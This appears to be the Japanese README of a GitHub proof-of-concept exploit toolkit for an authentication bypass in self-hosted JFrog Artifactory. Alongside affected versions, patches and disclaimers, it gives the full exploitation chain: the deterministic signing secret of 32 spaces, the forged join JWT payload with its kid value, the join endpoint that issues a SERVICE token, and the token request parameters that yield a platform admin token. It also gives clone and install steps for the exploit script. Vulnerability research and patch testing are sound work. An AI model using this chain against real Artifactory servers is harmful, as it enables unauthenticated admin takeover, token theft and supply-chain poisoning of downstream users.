CVE‑2026‑82329 – JFrog Artifactory 認証バイパスツールキット

倫理的な使用のみ – 許可されたセキュリティテスト
このリポジトリは、許可されたセキュリティ専門家、ブルーチーム、ペネトレーションテスターのみにツールを提供します。
コンピュータシステムへの不正アクセスは、CFAA（米国）、Computer Misuse Act（英国）、TCK 243/244（トルコ）、および世界中の同様の法律の下で違法です。

📖 脆弱性の概要

CVE‑2026‑82329 は、セルフホスト型 JFrog Artifactory（バージョン 7.111.x から 7.161.x）における重大な認証バイパス脆弱性であり、未認証の攻撃者が JFrog Access クラスタ参加メカニズムを悪用して完全なプラットフォーム管理者トークンを取得できるようにします。

仕組み

1. 空の参加キーの信頼 – JFrog Access は、値が空文字列であるファントム参加キーを信頼します。したがって、その署名シークレットは決定論的な値 32 * 0x20（スペース）です。
2. 偽造された参加 JWT – 攻撃者は、この既知のシークレットと kid = SHA256("") で署名された HS256 JWT を偽造します。
3. SERVICE トークンの発行 – POST /access/api/v1/registry/join は、認証なしで scp=admin を持つ SERVICE トークンを返します。
4. 管理者トークンの交換 – scope=applied-permissions/admin&audience=* を指定した POST /access/api/v1/tokens により、完全なプラットフォーム管理者トークンが得られます。
5. 影響 – リポジトリの完全な乗っ取り、トークン窃取、管理者ユーザーの作成、アーティファクトポイズニング、サプライチェーン攻撃、および接続されたサービス（Xray、Mission Control、Distribution）への横展開。直ちにアップグレードしてください！

影響を受けるバージョン

• 7.111.4 – 7.111.20 – 脆弱
• 7.117.0 – 7.117.27 – 脆弱
• 7.125.0 – 7.125.19 – 脆弱
• 7.133.0 – 7.133.28 – 脆弱
• 7.146.0 – 7.146.36 – 脆弱
• 7.161.0 – 7.161.19 – 脆弱

パッチ

• 7.111.21、7.117.28、7.125.20、7.133.29、7.146.38、または 7.161.20 以降にアップグレードしてください。
• アップグレードが不可能な場合は、Artifactory へのネットワークアクセスを制限し（インターネットに公開しないでください）、一時的な回避策としてすべての管理者トークンをローテーションしてください。

🧰 ツール

📊 機能比較

🎯 ユースケースの概要

⚙️ インストール

git clone https://github.com/tc4dy/CVE-2026-82329-PoC-Exploit
cd CVE-2026-82329-PoC-Exploit
pip install -r requirements.txt

requirements.txt

requests
urllib3
curl_cffi

📋 パラメータ

exploit.py のパラメータ

safechecker.py のパラメータ

💥 シナリオ

🧪 エンドポイントと悪用チェーン

このエクスプロイトは、以下の JFrog エンドポイントと悪用手順を使用します:

ペイロード形式

# 偽造参加 JWT 構造
{
  "alg": "HS256",
  "typ": "JWT"
}
{
  "iat": <unix_timestamp>,
  "service_id": "jfrt@01",
  "kid": "e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855",
  "skip_node_registration": true
}

# 署名シークレット
secret = b"\x20" * 32

# 管理者トークンリクエスト
scope=applied-permissions/admin&audience=*&expires_in=0&refreshable=false

🛡️ 責任ある使用

• これらのツールは、所有しているシステム、またはテストの明示的な書面による許可を得たシステムでのみ使用してください。
• 不正アクセスは違法かつ非倫理的です。
• 作者は、いかなる誤用についても責任を負いません。
• 常に自国の法律および規制に従ってください。

このソフトウェアは、教育目的および許可されたセキュリティテストのみに提供されています。